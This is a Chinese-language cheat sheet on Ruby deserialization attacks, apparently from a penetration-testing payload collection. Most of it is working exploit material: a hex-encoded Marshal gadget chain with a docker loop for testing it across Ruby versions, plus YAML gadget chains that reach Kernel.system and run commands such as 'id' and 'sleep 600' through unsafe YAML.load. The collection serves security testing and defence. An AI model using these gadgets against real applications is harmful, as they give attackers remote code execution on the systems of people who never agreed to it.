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Ruby 反序列化 (Ruby Deserialization)

Ruby 反序列化是将序列化数据转换回 Ruby 对象的过程，通常使用 YAML、Marshal 或 JSON 等格式。例如，Ruby 的 Marshal 模块常用于此目的，因为它可以序列化和反序列化复杂的 Ruby 对象。

摘要 (Summary)

Marshal 反序列化 (Marshal Deserialization)

用于生成并验证针对 Ruby 2.0 到 2.5 版本的反序列化 Gadget 链的脚本：

for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done

YAML 反序列化 (YAML Deserialization)

易受攻击的代码：

require "yaml"
YAML.load(File.read("p.yml"))

针对 Ruby <= 2.7.2 的通用 Gadget：

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

针对 Ruby 2.x - 3.x 的通用 Gadget：

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

 ---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: sleep 600
          method_id: :resolve

参考资料 (References)